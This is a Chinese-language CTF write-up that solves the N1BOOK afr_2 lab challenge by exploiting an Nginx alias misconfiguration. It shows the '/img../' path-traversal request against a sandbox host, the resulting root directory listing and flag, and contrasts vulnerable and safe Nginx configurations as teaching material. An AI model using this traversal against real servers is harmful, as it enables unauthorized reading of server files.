Writeup 4 N1BOOK afr_2

Writeup 4 N1BOOK afr_2

解题过程

访问靶机:

http 复制代码
http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/

靶机首页源码:

html 复制代码
<html>
<head>
    <title>u1s1</title>
</head>
<body>
HELLO!
<img src="img/img.gif">
</body>
</html>

发现目录:img

访问该路径:

http 复制代码
http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img/

页面显示:

复制代码
Index of /img/

../
img.gif                                            09-Nov-2020 08:17              456384

img.gif 就是靶机首页上跳舞的图片。

这意味着服务器开启了目录浏览功能。

我们就可以尝试利用 Nginx 的"目录穿越"漏洞。

尝试用常规的 ../ 去访问上一级目录,比如 /img/../,发现被服务器拦截或返回 404。

但是,这道题的关键在于:Nginx 在配置别名(alias)时少写了一个斜杠 /,导致存在目录穿越漏洞。

正确的 Payload 是把 .. 直接拼在目录名后面,去掉中间的斜杠:

http 复制代码
/img../

访问这个 URL,就能成功穿越到网站的根目录,看到服务器根目录下的所有文件列表。在列表的底部,可以找到一个名为 flag 的文件。

尝试访问:

http 复制代码
http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img../

页面显示:

复制代码
Index of /img../

../
bin/                                               23-Jan-2020 14:36                   -
dev/                                               07-Oct-2026 04:11                   -
etc/                                               07-Oct-2026 04:11                   -
home/                                              23-Jan-2020 14:36                   -
lib/                                               23-Jan-2020 14:36                   -
media/                                             23-Jan-2020 14:36                   -
mnt/                                               23-Jan-2020 14:36                   -
opt/                                               23-Jan-2020 14:36                   -
proc/                                              07-Oct-2026 04:11                   -
root/                                              23-Jan-2020 14:36                   -
run/                                               07-Oct-2026 04:11                   -
sbin/                                              23-Jan-2020 14:36                   -
srv/                                               23-Jan-2020 14:36                   -
sys/                                               07-Oct-2026 04:11                   -
tmp/                                               09-Nov-2020 08:17                   -
usr/                                               23-Jan-2020 14:36                   -
var/                                               29-Feb-2020 20:29                   -
flag                                               07-Oct-2026 04:11                  21

💥看到了 flag 文件!

很自然,访问:

http 复制代码
http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img../flag

浏览器自动下载文件:flag

用记事本打开,得到 flag

复制代码
n1book{afr_2_solved}

核心知识点

⚠️ CTF 重点:alias 的斜杠问题

如果 location 和 alias 的末尾斜杠不匹配 ,就会产生目录穿越漏洞 (即 afr_2 的考点)。

  • 有漏洞的配置 (location 无斜杠,alias 有斜杠):

    nginx 复制代码
    location /img {
        alias /var/www/html/img/;
    }

    访问 /img../flag 时,Nginx 将 ../flag 拼接到 /var/www/html/img/ 后面,解析为:/var/www/html/flag,成功穿越到上一级。

  • 安全的配置(两者都有斜杠):

    nginx 复制代码
    location /img/ {
        alias /var/www/html/img/;
    }

CTF 实战中的意义

💡当我们遇到 Nginx 靶机时,重点关注:

  1. 有没有 alias :如果靶机有静态资源目录(如图片、上传文件),可能用了 alias,尝试 /目录名../ 穿越。
  2. autoindex 是否开启 :如果某个目录能直接列出文件,看看有没有 flag 或源码文件。
  3. location 的匹配 :如果某个后缀被限制(如 .php 不能访问),看看能不能用路径穿越或编码绕过。

Rambo

2026年10月07日

🎉🎉🎉

相关推荐
print_Hyon1 天前
【CTF-CRYPTO-教学-RSA】第十三节:知道e、p和q的变形表达式,解密c
ctf
print_Hyon1 天前
【CTF-CRYPTO-教学-RSA】第七节:低加密指数攻击,已知n和e求c(e很小,m的e次方比n小,c可直接开方得到结果)
ctf
hengdonghui4 天前
Writeup 4 N1BOOK afr_1
ctf·伪协议·任意文件读取
hengdonghui4 天前
Writeup 4 N1BOOK 常见的搜集
ctf·信息搜集
hengdonghui5 天前
Writeup 4 N1BOOK SQL注入-1
ctf·sql注入·union·字符型注入
hengdonghui6 天前
Writeup 4 红帽杯 2021 WebsiteManger
web·ctf·ssrf·sql布尔盲注
hengdonghui8 天前
Writeup 4 2020 - 之江杯 - 异常的流量分析
wireshark·ctf·流量分析
hengdonghui8 天前
Writeup 4 津门杯 2021 Web hate_php
php·web·ctf·通配符
hengdonghui9 天前
Writeup 4 红帽杯 2021 Web Find_It
web·ctf·备份文件泄露